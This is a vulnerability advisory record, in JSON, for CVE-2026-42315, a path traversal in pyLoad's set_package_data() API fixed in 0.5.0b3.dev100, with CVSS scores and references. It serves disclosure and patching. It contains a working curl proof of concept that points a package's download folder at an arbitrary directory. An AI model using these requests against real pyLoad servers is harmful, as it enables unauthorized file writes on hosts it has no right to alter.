{"id":"CVE-2026-42315","aliases":["CVE-2026-42315","GHSA-838g-gr43-qqg9","PYSEC-2026-129"],"related":[],"kind":"vulnerability","state":"published","title":"pyLoad: Path Traversal via Package Folder Name in set_package_data","summary":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key \"_folder\", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key \"_folder\", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100.","source":"cvelist"},{"lang":"en","text":"### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/add_package' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: <valid api key>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"name\": \"set_package_data_exploit_poc\",\n  \"links\": [\n    \"http://example.com/file.txt\"\n  ],\n  \"dest\": 1\n}'\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/set_package_data' \\\n  -H 'accept: */*' \\\n  -H 'X-API-Key: <valid api key>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"package_id\": 5,\n  \"data\": {\n    \"_folder\": \"/users/root/\"\n  }\n}'\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X 'GET' \\\n  'http://localhost:8000/api/get_queue' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: <valid api key>'\n```\nResponse:\n```\n[\n  {\n    \"pid\": 5,\n    \"name\": \"set_package_data_exploit_poc\",\n    \"folder\": \"/users/root/\",\n    \"site\": \"\",\n    \"password\": \"\",\n    \"dest\": 1,\n    \"order\": 1,\n    \"linksdone\": 0,\n    \"sizedone\": 0,\n    \"sizetotal\": 0,\n    \"linkstotal\": 1,\n    \"links\": null,\n    \"fids\": null\n  }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.","format":"markdown","source":"ghsa"},{"lang":"es","text":"pyLoad es un gestor de descargas de código abierto y gratuito escrito en Python. Antes de la versión 0.5.0b3.dev100, al pasar un nombre de carpeta en la llamada a la función API set_package_data() dentro del objeto de datos con la clave ’_folder’, no hay ninguna sanitización, lo que permite a un usuario con Perms.MODIFY especificar directorios arbitrarios como ubicaciones de descarga para un paquete. Esta vulnerabilidad está corregida en la versión 0.5.0b3.dev100.","source":"nvd"}],"published":"2026-05-05T21:18:19.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":8.1,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-36"],"affected":[{"ranges":[{"version":"< 0.5.0b3.dev100","status":"affected"}],"vendor":"pyload","product":"pyload","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.5.0b3.dev100"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.5.0b3.dev100"}],"vendor":"pyload-ng_project","product":"pyload-ng","cpe":"cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.5.0b3.dev100"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"pysec"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42315","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/pyload/pyload","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-11T20:15:16.368Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42315","url":"https://www.cve.org/CVERecord?id=CVE-2026-42315","licence":"CVE Terms of Use","modified":"2026-05-11T20:16:10.716Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-838g-gr43-qqg9","url":"https://github.com/advisories/GHSA-838g-gr43-qqg9","licence":"CC-BY-4.0","modified":"2026-06-08T20:00:11.261Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42315","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-129","url":"https://osv.dev/vulnerability/PYSEC-2026-129","licence":"CC-BY-4.0","modified":"2026-05-20T09:19:16.123Z"}],"updatedAt":"2026-11-25T22:59:21.226Z","epss":{"score":0.00395,"percentile":0.35816,"date":"2026-12-01T12:00:22.000Z"}}